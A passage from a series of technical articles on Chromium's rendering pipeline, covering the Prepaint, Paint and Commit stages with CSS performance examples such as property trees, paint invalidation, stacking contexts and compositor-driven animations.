**Optimization**: Unchanged subtrees are skipped entirely. On a page with 10,000 elements where only one element's `transform` changed, Prepaint visits only the dirty path from root to that element, not all 10,000 nodes.

### Quick Update Path

Transform and opacity changes can bypass full PrePaintTreeWalk via a "quick update" optimization:

1. During `PaintLayer::StyleDidChange`, the system checks if an update qualifies
2. Qualifying updates are added to a pending list
3. Updates execute directly in `PrePaintTreeWalk::WalkTree`, skipping full traversal

**Qualification criteria**: The change affects only `transform` or `opacity`, with no layout implications. This enables smooth CSS animations without main-thread overhead.

---

## Paint Invalidation

The second output of Prepaint is **paint invalidation decisions**—determining which display items need re-recording during the Paint stage.

### How Invalidation Works

`PaintInvalidator` traverses subtrees marked with invalidation flags, comparing:

- Current computed styles vs. cached styles
- Current geometry vs. cached geometry
- Current property tree state vs. cached state

When differences are detected, the corresponding `DisplayItemClient` is marked dirty. The Paint stage then re-records only dirty items.

### Invalidation Levels

Paint invalidation operates at two granularities:

1. **Paint chunk level**: Matches each paint chunk against previous artifact by ID. If chunks don't match in order, or property trees changed, the entire chunk is invalidated.

2. **Display item level**: When chunks match in order and property trees are unchanged, individual display items are compared for targeted invalidation.

**Real-world example**: Changing an element's `background-color` invalidates only that element's background display item. Changing its `transform` invalidates the paint chunk but potentially allows display item reuse if the chunk simply moves.

### Isolation Boundaries

`contain: paint` establishes an **isolation boundary**—a barrier preventing descendants from being affected by ancestors' property tree changes.

```css
.isolated-widget {
  contain: paint; /* Creates isolation boundary */
}
```

Descendants of an isolation boundary use it as their property tree root. Changes outside the boundary don't trigger invalidation inside it, enabling large subtrees to be skipped during Prepaint.

---

## Compositor-Driven Animations: Bypassing Prepaint

Animations affecting only `transform` or `opacity` can run entirely on the compositor thread, skipping the main thread pipeline (layout, prepaint, paint):

1. The animation system (`AnimationHost` in cc/) maintains active `Animations` on the compositor thread
2. Each animation generates output values via `AnimationCurves`
3. Output values update property tree nodes directly
4. The compositor applies updated transforms/opacity during compositing

**Why only transform and opacity?**: These properties don't affect layout geometry or paint order. The compositor has everything needed (property tree nodes, rasterized tiles) to apply the change without main-thread involvement.

**Failure mode**: If an animation affects layout-dependent properties (e.g., `width`, `left`), it falls back to main-thread animation, running through the full pipeline each frame. This causes jank when the main thread is busy.

```css
/* ✅ Compositor-driven: smooth even when main thread is blocked */
.smooth {
  animation: slide 1s;
}
@keyframes slide {
  to {
    transform: translateX(100px);
  }
}

/* ❌ Main-thread: will jank if main thread is busy */
.janky {
  animation: slide-left 1s;
}
@keyframes slide-left {
  to {
    left: 100px;
  } /* Layout property, forces main thread */
}
```

---

## Real-World Example: Smooth Scrolling Under Load

Consider a news site with infinite scroll, heavy JavaScript analytics, and complex DOM:

```javascript
// Analytics script blocking main thread for 50ms every second
setInterval(() => {
  const start = performance.now()
  while (performance.now() - start < 50) {
    // Simulate heavy computation
  }
}, 1000)
```

**Without property trees (pre-M94)**: During the 50ms block, scrolling freezes. The compositor can't update scroll position because it requires main-thread layer tree traversal.

**With property trees**: The scroll tree contains all metadata the compositor needs. During the 50ms block:

1. User scrolls via touchpad/mouse
2. Compositor receives scroll events directly
3. Compositor updates scroll offset in the scroll tree's transform node
4. Compositor redraws with new scroll position
5. Main thread catches up later, but user sees smooth scrolling

This is why modern browsers achieve responsive scrolling even on pages with expensive JavaScript.

---

## Edge Cases and Gotchas

### Fixed Positioning Inside Transforms

A `position: fixed` element inside a transformed ancestor is positioned relative to that ancestor, not the viewport:

```css
.transformed-parent {
  transform: translateZ(0); /* Any transform, even identity-like */
}

.supposedly-fixed {
  position: fixed;
  top: 0;
  /* Positioned relative to .transformed-parent! */
}
```

This behavior stems from the CSS Transforms spec: transforms create a containing block for fixed descendants. The same applies to `filter`, `perspective`, and `backdrop-filter`.

### `will-change` Memory Cost

`will-change: transform` promotes an element to its own composited layer, consuming GPU memory. Each layer requires:

- Texture memory for the rasterized content
- Property tree nodes
- Compositor bookkeeping

**Failure mode**: Applying `will-change: transform` to hundreds of elements causes GPU memory exhaustion. Symptoms include checkerboarding (white tiles during scroll) and browser sluggishness.

```css
/* ❌ Memory explosion */
.list-item {
  will-change: transform; /* 1000 items = 1000 layers */
}

/* ✅ Promote only during animation */
.list-item.animating {
  will-change: transform;
}
```

### `contain: paint` Breaks Overflow

`contain: paint` clips content to the element's bounds and prevents `position: fixed` descendants from escaping:

```css
.container {
  contain: paint;
}

.tooltip {
  position: fixed; /* Won't escape .container! */
}
```

This is intentional (it creates an isolation boundary), but surprises developers expecting fixed elements to always escape their containers.

### Filter Effects Order

Filters, clips, masks, and opacity apply in a specific order (per CSS Filter Effects spec):

1. **Filter** functions execute first
2. **Clipping** restricts the visible region
3. **Masking** applies luminance/alpha mask
4. **Opacity** multiplies the final result

Getting this wrong in custom rendering produces incorrect output. Browser Prepaint handles this automatically, but understanding the order helps debug visual anomalies.

---

## Performance Debugging

### Identifying Prepaint Bottlenecks

In Chrome DevTools, the Performance panel shows Prepaint as "Pre-Paint" or "Update Layer Tree" (legacy name). Look for:

- **Long Prepaint times** (>5ms): Usually indicates deep dirty subtrees or many property tree changes
- **Frequent Prepaint**: Rapid style changes triggering repeated walks

### Reducing Prepaint Cost

1. **Use `contain: layout paint`**: Limits dirty bit propagation to contained subtrees
2. **Minimize property tree changes**: Batch transform/opacity updates within `requestAnimationFrame`
3. **Avoid layout-triggering properties in animations**: `width`, `height`, `margin` force full pipeline, while `transform` allows quick update path

### DevTools Layers Panel

The Layers panel shows composited layers and their reasons. Each layer has property tree references. Excessive layers indicate potential memory issues from over-promotion.

---

## Conclusion

Prepaint is the architectural linchpin enabling modern web performance. By extracting visual properties into four specialized trees and computing paint invalidation separately from layout, it achieves two critical goals:

1. **Compositor independence**: Transform and opacity animations bypass the main thread entirely
2. **Targeted invalidation**: Only changed display items are re-recorded

The property tree model transformed browser rendering from O(layers) updates to O(affected nodes), making smooth 60fps+ scrolling and animations possible even on pages with complex JavaScript. Understanding Prepaint helps diagnose rendering performance issues and design CSS that works with the architecture rather than against it.

---

## Appendix

### Prerequisites

- [Rendering Pipeline Overview](../crp-rendering-pipeline-overview/README.md): Understanding of the full pipeline from HTML to pixels
- [Layout Stage](../crp-layout/README.md): How the Fragment Tree and LayoutObject Tree are constructed
- [Style Recalculation](../crp-style-recalculation/README.md): How computed styles and the LayoutObject Tree are produced
- Familiarity with CSS visual effects: `transform`, `opacity`, `filter`, `overflow`

### Terminology

| Term                         | Definition                                                                                                             |
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------- |
| **Property Tree**            | Sparse tree structure storing visual effect state (transform/clip/effect/scroll) independently of the DOM hierarchy    |
| **PropertyTreeState**        | A 4-tuple `(transform_id, clip_id, effect_id, scroll_id)` identifying an element's position in all four property trees |
| **LayoutObject Tree**        | Mutable tree created during Style Recalc, representing elements that generate boxes; Prepaint traverses this tree      |
| **Fragment Tree**            | Immutable tree of `PhysicalFragment` objects with resolved geometry; output of Layout, read by Prepaint                |
| **PrePaintTreeWalk**         | The Chromium class performing in-order LayoutObject traversal to build property trees                                  |
| **PaintPropertyTreeBuilder** | Component creating/updating property tree nodes during Prepaint                                                        |
| **PaintInvalidator**         | Component determining which display items need re-recording                                                            |
| **Isolation Boundary**       | A barrier (e.g., `contain: paint`) preventing property tree changes from propagating into a subtree                    |
| **Compositor Thread**        | Browser thread handling compositing, scrolling, and visual-effect animations without main-thread involvement           |
| **Slimming Paint**           | Multi-year Chromium project (M45–M94) that introduced property trees and decoupled compositing from paint              |

### Summary

- Prepaint traverses the **LayoutObject tree** (not Fragment Tree) to build four **Property Trees**: transform, clip, effect, and scroll
- Each element receives a **PropertyTreeState**—a 4-tuple pointing to its nearest ancestor nodes in each tree
- Property trees reduced compositor updates from O(layers) to O(affected nodes), enabling smooth animations
- **Paint invalidation** determines which display items need re-recording, enabling targeted repaints
- **Dirty bits** (`NeedsPaintPropertyUpdate`, etc.) allow Prepaint to skip unchanged subtrees
- **Quick update path** handles transform/opacity changes without full tree traversal
- Compositor-driven animations (transform, opacity) bypass Prepaint entirely, running on the compositor thread
- `contain: paint` creates **isolation boundaries** that limit invalidation scope

### References

- **W3C CSS Transforms Level 1**: [Specification](https://www.w3.org/TR/css-transforms-1/) — Defines transform property semantics and containing block behavior
- **W3C CSS Overflow Level 3**: [Specification](https://www.w3.org/TR/css-overflow-3/) — Defines overflow clipping and scroll behavior
- **W3C CSS Filter Effects Level 1**: [Specification](https://www.w3.org/TR/filter-effects-1/) — Defines filter functions and their rendering order
- **W3C CSS Masking Level 1**: [Specification](https://www.w3.org/TR/css-masking-1/) — Defines clipping paths and masking
- **W3C CSSOM View Module**: [Specification](https://drafts.csswg.org/cssom-view/) — Defines scrolling APIs and behavior
- **Chromium Blink Paint README**: [Source Documentation](https://chromium.googlesource.com/chromium/src/+/HEAD/third_party/blink/renderer/core/paint/README.md) — Detailed Prepaint implementation
- **Chromium RenderingNG Architecture**: [Design Document](https://developer.chrome.com/docs/chromium/renderingng-architecture) — Pipeline overview and property trees
- **Chromium RenderingNG Data Structures**: [Design Document](https://developer.chrome.com/docs/chromium/renderingng-data-structures) — Property tree implementation details
- **Chromium BlinkNG**: [Design Document](https://developer.chrome.com/docs/chromium/blinkng) — Containment principles and geometry centralization
- **Chromium Slimming Paint**: [Project Overview](https://www.chromium.org/blink/slimming-paint/) — Evolution timeline and performance improvements
- **Chromium How cc Works**: [Technical Document](https://chromium.googlesource.com/chromium/src/+/master/docs/how_cc_works.md) — Compositor internals and property tree usage

---

## Critical Rendering Path: Paint Stage

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/critical-rendering-path/crp-paint
**Category:** Browser & Runtime Internals / Critical Rendering Path
**Description:** The Paint stage records drawing instructions into display lists—it does not produce pixels. Following Prepaint (property tree construction and invalidation), Paint walks the layout tree and generates a sequence of low-level graphics commands stored in Paint Artifacts. These artifacts are later consumed by the Rasterization stage, which executes them to produce actual pixels on the GPU.

# Critical Rendering Path: Paint Stage

The Paint stage records drawing instructions into display lists—it does not produce pixels. Following [Prepaint](../crp-prepaint/README.md) (property tree construction and invalidation), Paint walks the layout tree and generates a sequence of low-level graphics commands stored in **Paint Artifacts**. These artifacts are later consumed by the [Rasterization](../crp-raster/README.md) stage, which executes them to produce actual pixels on the GPU.

<figure>

![The Paint stage within the RenderingNG pipeline (Chromium M94+): Paint produces a Paint Artifact containing display items and paint chunks. CompositeAfterPaint moved layerization after paint, eliminating circular dependencies.](./the-paint-stage-within-the-renderingng-pipeline-chromium-m94-paint-produces-a-pa.svg)

<figcaption>The Paint stage within the RenderingNG pipeline (Chromium M94+): Paint produces a Paint Artifact containing display items and paint chunks. CompositeAfterPaint moved layerization after paint, eliminating circular dependencies.</figcaption>

</figure>

## Abstract

Paint is a **recording** phase, not a drawing phase. The key mental model:

```
Fragment Tree + Property Trees → Paint → Paint Artifact (Display Items + Paint Chunks)
```

**Core concepts:**

- **Display Items**: Atomic drawing commands (e.g., `DrawRect`, `DrawTextBlob`) identified by a client pointer (which DOM element) and type. The `PaintController` caches previous display items for reuse.
- **Paint Chunks**: Sequential display items grouped by identical **PropertyTreeState** (transform_id, clip_id, effect_id, scroll_id). Chunks are the unit of compositor layer assignment.
- **Paint Order**: Governed by the CSS stacking context algorithm (CSS 2.1 Appendix E). Elements within a stacking context paint in a strict back-to-front order; different stacking contexts never interleave.

**Why recording, not drawing?**

1. **Resolution independence**: Display lists rasterize at any scale without quality loss (HiDPI, pinch-zoom)
2. **Off-main-thread rasterization**: Artifacts serialize to the compositor/GPU process without blocking JavaScript
3. **Caching**: Unchanged display items are reused; only invalidated items are re-recorded

**Architecture evolution (CompositeAfterPaint, M94+)**: Before M94, compositing decisions happened _before_ paint, creating circular dependencies. Now paint produces a clean artifact first, then layerization occurs—reducing 22,000 lines of code and improving scroll latency by 3.5%+ (99th percentile).

---

## Display Items and the Paint Artifact

Paint transforms the layout tree into a **Paint Artifact**—a data structure containing all information needed for rasterization.

### Display Item Types

Display items are the atomic units of paint output. Each item represents a single drawing operation:

| Type                       | Description                    | Example Source                           |
| :------------------------- | :----------------------------- | :--------------------------------------- |
| `DrawingDisplayItem`       | Contains Skia paint operations | Background colors, borders, text, images |
| `ForeignLayerDisplayItem`  | External content               | Plugins, iframes, `<video>` surfaces     |
| `ScrollbarDisplayItem`     | Scrollbar rendering            | Overlay and classic scrollbars           |
| `ScrollHitTestDisplayItem` | Hit-test regions for scrolling | Scroll containers                        |

**Identity**: Each display item is identified by a **client pointer** (which `LayoutObject` generated it) and a **type enum** (background, foreground, outline, etc.). This identity enables the `PaintController` to match items across frames for caching.

### PaintController and Display Item Caching

The `PaintController` holds the previous frame's paint result as a cache:

> "If some painter would generate results same as those of the previous painting, we'll skip the painting and reuse the display items from cache."
> — [Chromium Paint README](https://chromium.googlesource.com/chromium/src/+/HEAD/third_party/blink/renderer/core/paint/README.md)

**How caching works:**

1. Before painting, the `PaintController` receives the previous artifact
2. During paint, each display item is compared against its cached predecessor by client and type
3. If the item matches exactly (same client, same type, same content), the cached version is reused
4. If different, the new item is recorded and the old one is invalidated

**Subsequence caching** extends this to entire paint subtrees. If a `PaintLayer` hasn't changed, its entire subsequence of display items can be reused without re-walking the layout tree.

### Paint Chunks

Paint chunks partition display items by their **PropertyTreeState**—the 4-tuple `(transform_id, clip_id, effect_id, scroll_id)` from [Prepaint](../crp-prepaint/README.md).

**Why chunks?** During layerization (after paint), the compositor needs to know which display items share the same visual effects. Items with different transform nodes can't be merged into the same compositor layer without visual artifacts. Chunks make this grouping explicit.

**Chunk boundaries occur when:**

- PropertyTreeState changes (different transform, clip, effect, or scroll ancestor)
- Display item type changes require isolation (e.g., foreign layers)
- Hit-test regions need explicit marking

**Real-world example**: A page with 1,000 display items might produce 50 paint chunks. Each chunk references a PropertyTreeState and a contiguous range of display items. The layerization stage maps chunks to `cc::Layer` objects based on compositing requirements.

---

## Paint Order and Stacking Contexts

Paint order is not arbitrary—it follows the CSS stacking context algorithm specified in CSS 2.1 Appendix E. Incorrect paint order produces visual bugs where elements appear behind content they should overlap.

### The Stacking Context Algorithm

For each stacking context, descendants paint in this order:

1. **Stacking context background and borders**
2. **Descendants with negative z-index** (most negative first)
3. **In-flow, non-positioned, block-level descendants**
4. **Non-positioned floats**
5. **In-flow, inline-level descendants** (text, images, inline-blocks)
6. **Positioned descendants with `z-index: auto` or `z-index: 0`**
7. **Positioned descendants with positive z-index** (lowest first)

**Critical property**: Stacking contexts are **atomic**. No descendant of one stacking context can interleave with descendants of a sibling stacking context. This atomicity is why `z-index` on a child cannot escape its parent's stacking context.

### Stacking Context Creation

Properties that create new stacking contexts include:

- `position` (relative/absolute/fixed/sticky) with `z-index` ≠ auto
- `opacity` < 1
- `transform`, `filter`, `perspective`, `clip-path`, `mask`
- `isolation: isolate`
- `mix-blend-mode` ≠ normal
- `will-change` with transform/opacity/filter (in some browsers)
- `contain: paint` or `contain: layout paint`

**Design rationale**: Each property creates a new compositing scope because it requires the subtree to be rendered as a unit before applying the effect. Opacity, for instance, must multiply against the combined alpha of all descendants—not each descendant individually.

### Paint Order Implementation in Blink

Blink implements paint order through **PaintLayerPainter** and **ObjectPainter** classes. The `PaintLayerPainter::Paint()` method walks layers in stacking order, recursively painting:

1. Negative z-index children
2. The layer itself (backgrounds, non-positioned content, floats, inline content)
3. Positive z-index children

**Edge case**: CSS View Transitions can alter paint order dynamically by creating pseudo-elements that participate in the stacking context. Debugging paint order issues during transitions requires inspecting the view-transition pseudo-element tree.

---

## The CompositeAfterPaint Architecture

As of Chromium M94, paint happens **before** compositing decisions—a fundamental shift from the legacy architecture.

### Why CompositeAfterPaint?

**Before M94 (legacy)**:

```
Style → Layout → Compositing → Paint
```

Compositing had to guess which elements needed layers _before_ knowing their paint output. This created circular dependencies:

- Compositing needed to know paint order (which elements overlap)
- Paint order depended on compositing decisions (which elements had layers)

The result: fragile code, 22,000+ lines of heuristics, and difficulty reasoning about behavior.

**After M94 (CompositeAfterPaint)**:

```
Style → Layout → Prepaint → Paint → Layerize → Rasterize
```

Paint produces a clean artifact independent of layer decisions. Layerization examines the artifact and assigns paint chunks to `cc::Layer` objects based on clear criteria.

### Measurable Improvements

The CompositeAfterPaint migration yielded:

| Metric                         | Improvement         |
| :----------------------------- | :------------------ |
| Code removed                   | 22,000 lines of C++ |
| Chrome CPU usage               | -1.3% overall       |
| 99th percentile scroll latency | -3.5%+              |
| 99th percentile input delay    | -2.2%+              |

**Source**: [Chromium BlinkNG](https://developer.chrome.com/docs/chromium/blinkng)

### Paint Chunk → Compositor Layer Mapping

After paint produces chunks, the layerization stage creates `cc::Layer` objects:

1. Each paint chunk has a PropertyTreeState
2. Chunks requiring different composite reasons (e.g., `will-change: transform`) get separate layers
3. Adjacent chunks with compatible states may merge into a single layer
4. Each layer receives a reference to its paint chunks' display items

This separation allows the compositor to optimize layer count independently of paint logic.

---

## Paint Invalidation

Paint invalidation determines which display items need re-recording. While [Prepaint](../crp-prepaint/README.md) marks display item clients as dirty, the actual invalidation logic integrates with paint recording.

### Invalidation Granularity

Paint invalidation operates at two levels:

**Chunk-level invalidation:**

- Triggered when PropertyTreeState changes
- Triggered when display item order within a chunk changes
- The entire chunk's display items are re-recorded

**Display-item-level invalidation:**

- When chunks match (same order, same PropertyTreeState)
- Individual items are compared by client and type
- Only changed items are re-recorded

### Raster Invalidation

After paint produces new display items, the `RasterInvalidator` computes which pixel regions need re-rasterization:

| Invalidation Type | Trigger                                 | Behavior                                             |
| :---------------- | :-------------------------------------- | :--------------------------------------------------- |
| Full              | Layout change, PropertyTreeState change | Invalidates old AND new visual rects                 |
| Incremental       | Geometry change only                    | Invalidates only the delta between old and new rects |

**Real-world example**: A blinking cursor in a text field:

- Only the cursor's `DrawingDisplayItem` is re-recorded (display item invalidation)
- Only the cursor's pixel rect is re-rasterized (~16×20 pixels)
- The surrounding text field's display items are cached and reused

This granular invalidation is why typing in a text field doesn't repaint the entire page.

### Isolation Boundaries (`contain: paint`)

`contain: paint` creates an **isolation boundary**—a barrier that limits invalidation propagation:

```css
.widget {
  contain: paint; /* Isolation boundary */
}
```

**Effects:**

1. Descendants are clipped to the element's padding box
2. A new stacking context is created
3. Paint invalidation inside the boundary doesn't affect outside
4. If the element is off-screen, paint is skipped entirely for the subtree

**Performance impact**: On a page with 50 isolated widgets, invalidating one widget's contents triggers paint only for that widget. Without isolation, invalidation might propagate to sibling widgets or ancestors.

---

## Paint Performance Characteristics

Not all CSS properties have equal paint cost. Understanding relative expense helps diagnose performance issues.

### Expensive vs. Cheap Paint Operations

**Expensive operations:**

| Operation                      | Why Expensive                                      |
| :----------------------------- | :------------------------------------------------- |
| `box-shadow` with large blur   | Generates blur shader; no hardware fast-path       |
| `border-radius` + `box-shadow` | Non-rectangular, can't use nine-patch optimization |
| `filter: blur()`               | Per-pixel convolution                              |
| `mix-blend-mode`               | Requires reading backdrop pixels                   |
| Complex gradients              | Multiple color stops, radial patterns              |
| `background-attachment: fixed` | Repainted every scroll frame                       |

**Cheap operations:**

| Operation      | Why Cheap                    |
| :------------- | :--------------------------- |
| Solid colors   | Single fill operation        |
| Simple borders | Rectangle primitives         |
| `opacity`      | Compositor-only (no repaint) |
| `transform`    | Compositor-only (no repaint) |

### Compositor-Only Properties

Some visual changes skip paint entirely:

- `transform`: Updates PropertyTreeState transform node; no display item change
- `opacity`: Updates PropertyTreeState effect node; no display item change

These changes flow directly to the compositor thread, which applies them during compositing without main-thread involvement.

**Failure mode**: If you animate `left` or `top` instead of `transform`, each frame triggers layout, prepaint, and paint—not just compositor updates. This causes jank when the main thread is busy.

```css
/* ❌ Triggers full pipeline every frame */
.animate-position {
  animation: move 1s;
}
@keyframes move {
  to {
    left: 100px;
  }
}

/* ✅ Compositor-only, smooth even under main-thread load */
.animate-transform {
  animation: slide 1s;
}
@keyframes slide {
  to {
    transform: translateX(100px);
  }
}
```

### DevTools Paint Profiling

Chrome DevTools provides paint debugging:

1. **Performance panel**: Shows "Paint" timing in frame timeline
2. **Rendering tab → Paint flashing**: Green overlays on repainted regions
3. **Layers panel**: Shows compositor layers and their paint reasons

**What to look for:**

- Large green flashes on scroll (indicates main-thread paint, not compositor-only)
- Frequent paint events for static content (indicates invalidation bugs)
- Paint times >10ms (blocks frame budget)

---

## Edge Cases and Failure Modes

### Hit-Test Data Recording

Hit testing is performed in paint order. The paint system records hit-test information alongside visual data:

> "Hit testing is done in paint-order, and to preserve this information the paint system is re-used to record hit test information when painting the background."
> — [Chromium Compositor Hit Testing](https://www.chromium.org/developers/design-documents/compositor-hit-testing/)

**Failure mode**: Non-rectangular opacity or filters can create "holes" in hit-test opaqueness. Clicks in these holes fall through to elements below, even if visually the element appears solid.

### Stacking Context + View Transitions

CSS View Transitions create pseudo-elements (`::view-transition-*`) that participate in stacking contexts. During a transition:

- Old and new content render into separate snapshots
- Pseudo-elements animate between states
- Paint order of transition pseudo-elements can differ from final DOM order

**Gotcha**: Elements with explicit `z-index` during transitions may paint in unexpected order relative to transition pseudo-elements.

### `will-change` Memory Costs

`will-change: transform` promotes elements to compositor layers, consuming GPU memory:

```css
/* ❌ 1000 list items = 1000 layers = memory exhaustion */
.list-item {
  will-change: transform;
}

/* ✅ Promote only during animation */
.list-item.animating {
  will-change: transform;
}
```

**Symptoms of overuse:**

- Checkerboarding (white rectangles) during scroll
- Browser sluggishness
- GPU process crashes on memory-constrained devices

Each layer consumes `width × height × 4 bytes` of GPU memory. A 1920×1080 layer costs ~8MB; 100 such layers consume 800MB.

### `background-attachment: fixed` Performance

Fixed backgrounds repaint on every scroll frame because their position relative to content changes:

```css
/* ❌ Triggers paint every scroll frame */
.hero {
  background-image: url(large-image.jpg);
  background-attachment: fixed;
}
```

This defeats the compositor's ability to scroll content without main-thread involvement.

**Alternative**: Use `position: fixed` on a separate element with `transform: translateZ(0)` to achieve similar visual effect with compositor-only scrolling.

---

## Conclusion

Paint is the recording phase that converts layout geometry into drawing commands. Understanding that paint produces **display items** and **paint chunks**—not pixels—clarifies its role in the rendering pipeline.

Key takeaways:

1. **Paint records, rasterization draws**: Display lists enable caching, resolution independence, and off-main-thread execution
2. **Stacking contexts govern paint order**: The CSS algorithm is deterministic; understanding it prevents z-index bugs
3. **CompositeAfterPaint simplified the architecture**: Paint is now independent of layer decisions, reducing code and improving performance
4. **Invalidation is granular**: Chunk-level and display-item-level caching minimize re-work
5. **`contain: paint` creates isolation**: Boundaries limit invalidation scope and enable paint skipping for off-screen content
6. **Compositor-only properties skip paint**: `transform` and `opacity` animations don't require re-recording

For production optimization, prefer compositor-only animations, use `contain: paint` on independent UI components, and avoid expensive operations like large blur shadows on frequently-changing elements.

---

## Appendix

### Prerequisites

- [Prepaint](../crp-prepaint/README.md): Property trees and paint invalidation marking
- [Layout Stage](../crp-layout/README.md): Fragment tree construction
- [CSS Stacking Context](https://www.w3.org/TR/CSS2/zindex.html): Understanding z-index and paint order
- Familiarity with DevTools Performance panel

### Terminology

| Term                    | Definition                                                                                |
| :---------------------- | :---------------------------------------------------------------------------------------- |
| **Display Item**        | Atomic drawing command in a paint artifact (e.g., `DrawRect`, `DrawTextBlob`)             |
| **Paint Artifact**      | Output of paint stage: display items partitioned into paint chunks                        |
| **Paint Chunk**         | Sequential display items sharing identical PropertyTreeState                              |
| **PropertyTreeState**   | 4-tuple `(transform_id, clip_id, effect_id, scroll_id)` identifying visual effect context |
| **PaintController**     | Component managing display item recording and caching                                     |
| **Stacking Context**    | Isolated 3D rendering context for z-ordering; created by various CSS properties           |
| **CompositeAfterPaint** | Chromium M94+ architecture where paint precedes layerization                              |
| **Isolation Boundary**  | Barrier (e.g., `contain: paint`) limiting paint invalidation propagation                  |
| **Raster Invalidation** | Determining which pixel regions need re-rasterization based on paint changes              |
| **Skia**                | Open-source 2D graphics library executing display item commands                           |

### Summary

- Paint **records** drawing commands into display items; it does not produce pixels
- **Paint Artifacts** contain display items partitioned into **Paint Chunks** by PropertyTreeState
- **Stacking context rules** (CSS 2.1 Appendix E) govern paint order—contexts are atomic and never interleave
- **CompositeAfterPaint** (M94+) moved layerization after paint, eliminating circular dependencies and improving scroll latency 3.5%+
- **PaintController caching** reuses unchanged display items across frames
- **`contain: paint`** creates isolation boundaries for scoped invalidation and off-screen paint skipping
- **Compositor-only properties** (`transform`, `opacity`) bypass paint entirely

### References

- [CSS 2.1: Appendix E - Elaborate description of Stacking Contexts](https://www.w3.org/TR/CSS21/zindex.html) — Specification for paint order algorithm
- [CSS Containment Module Level 2](https://www.w3.org/TR/css-contain-2/) — Specification for `contain: paint` behavior
- [HTML Specification: Update the Rendering](https://html.spec.whatwg.org/multipage/webappapis.html#update-the-rendering) — Where paint fits in the event loop
- [Chromium Blink Paint README](https://chromium.googlesource.com/chromium/src/+/HEAD/third_party/blink/renderer/core/paint/README.md) — Implementation details and caching semantics
- [Chromium Platform Paint README](https://chromium.googlesource.com/chromium/src/+/HEAD/third_party/blink/renderer/platform/graphics/paint/README.md) — Paint artifact and display item structures
- [Chromium RenderingNG Architecture](https://developer.chrome.com/docs/chromium/renderingng-architecture) — Pipeline overview and property tree integration
- [Chromium BlinkNG](https://developer.chrome.com/docs/chromium/blinkng) — CompositeAfterPaint rationale and performance improvements
- [Chromium Slimming Paint](https://www.chromium.org/blink/slimming-paint/) — Evolution from legacy paint to property tree-based architecture
- [Chromium Compositor Hit Testing](https://www.chromium.org/developers/design-documents/compositor-hit-testing/) — Hit test data recording during paint
- [web.dev: Simplify Paint Complexity](https://web.dev/articles/simplify-paint-complexity-and-reduce-paint-areas) — Practical optimization guidance
- [Chrome DevTools: Analyze rendering performance](https://developer.chrome.com/docs/devtools/performance/) — Paint profiling tools

---

## Critical Rendering Path: Commit

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/critical-rendering-path/crp-commit
**Category:** Browser & Runtime Internals / Critical Rendering Path
**Description:** Commit is the synchronization point where the Main Thread hands over processed frame data to the Compositor Thread. This blocking operation ensures the compositor receives an immutable, consistent snapshot of property trees and display lists—enabling the dual-tree architecture that allows rasterization to proceed independently while the main thread prepares the next frame.

# Critical Rendering Path: Commit

Commit is the synchronization point where the Main Thread hands over processed frame data to the Compositor Thread. This blocking operation ensures the compositor receives an immutable, consistent snapshot of property trees and display lists—enabling the dual-tree architecture that allows rasterization to proceed independently while the main thread prepares the next frame.

<figure>

![The Commit synchronization: ProxyMain blocks via mutex while ProxyImpl copies data structures to the pending tree. After commit, the main thread can process the next frame while rasterization proceeds on the pending tree.](./the-commit-synchronization-proxymain-blocks-via-mutex-while-proxyimpl-copies-dat.svg)

<figcaption>The Commit synchronization: ProxyMain blocks via mutex while ProxyImpl copies data structures to the pending tree. After commit, the main thread can process the next frame while rasterization proceeds on the pending tree.</figcaption>
</figure>

## Abstract

Commit is the **atomic handoff** from Main Thread to Compositor Thread—a blocking synchronization that enables Chromium's dual-tree architecture.

**The Core Model:**

- **Why blocking?** Atomicity. Multiple JavaScript modifications within a single call stack must appear as a unified frame update. Non-blocking IPC (Inter-Process Communication) would risk partial state transfer (a "half-moved" element).
- **What transfers?** Four property trees (transform, clip, effect, scroll), layer metadata, and display lists. Each DOM element's **PropertyTreeState**—a 4-tuple referencing nodes in each tree—gets synchronized to compositor-side structures.
- **Threading constraint:** Main thread can block waiting on compositor thread, but the reverse is forbidden (prevents deadlocks). This asymmetry is enforced via `DCHECK`s in `ProxyMain` and `ProxyImpl`.

**The Pipeline Flow:**

```
BeginImplFrame → BeginMainFrame → [Main Thread Work] → ReadyToCommit → Commit → Activate → Draw
```

**Dual-Tree Purpose:**

- **Pending Tree**: Receives commits; rasterizes new content
- **Active Tree**: Currently displayed; handles animations and scroll input while pending tree rasterizes

Activation (pending → active) occurs only when sufficient tiles are rasterized, preventing checkerboard artifacts. A second commit cannot start until the pending tree activates—this back-pressure mechanism bounds pipeline depth.

**Performance:** Commits typically take 1-3ms. Durations exceeding 5ms consume significant frame budget (16.6ms at 60Hz) and indicate excessive layer count or complex display lists.

---

## The Synchronization Mechanism

The commit is not a simple data copy—it's a carefully orchestrated synchronization using Chromium's proxy pattern.

### The Proxy Architecture

Chromium's compositor uses two proxy objects to mediate between threads:

| Component             | Thread            | Responsibilities                                                                                   |
| :-------------------- | :---------------- | :------------------------------------------------------------------------------------------------- |
| **ProxyMain**         | Main Thread       | Owns `LayerTreeHost`; sends `NotifyReadyToCommit`; enforces thread-safety via accessor `DCHECK`s   |
| **ProxyImpl**         | Compositor Thread | Owns pending/active trees; performs the actual data copy during commit; controls activation timing |
| **SingleThreadProxy** | Both (fallback)   | Used when compositor runs on main thread (non-threaded mode)                                       |

The proxy pattern enforces a critical invariant: **ProxyImpl only accesses main-thread data structures when the main thread is blocked**. This eliminates the need for fine-grained locking on individual layer properties.

### The Commit Flow in Detail

1. **Main thread completes paint**: Blink finishes style recalculation, layout, and paint recording. The `LayerTreeHost` holds the new frame's property trees and display lists.

2. **ProxyMain sends `NotifyReadyToCommit`**: This synchronous message passes a **mutex** to the compositor thread. The main thread then waits on this mutex—it cannot proceed until the compositor releases it.

3. **Compositor thread schedules commit**: The `SchedulerStateMachine` (which manages pipeline state) determines when to execute `ScheduledActionCommit`. If rasterization from a previous frame is still in progress, commit may be delayed.

4. **ProxyImpl performs the copy**: Layer IDs are used to match main-thread layers to their pending-tree counterparts:
   - Layer 5 on main thread pushes to layer 5 on pending tree
   - `pushPropertiesTo()` recursively synchronizes property tree nodes
   - Display lists (`cc::PaintRecord`) are shared (copy-on-write semantics)

5. **Mutex released**: ProxyImpl signals completion. The main thread unblocks and can immediately begin processing the next frame's JavaScript, style, and layout.

### Why Block the Main Thread?

The blocking behavior is intentional and addresses several constraints:

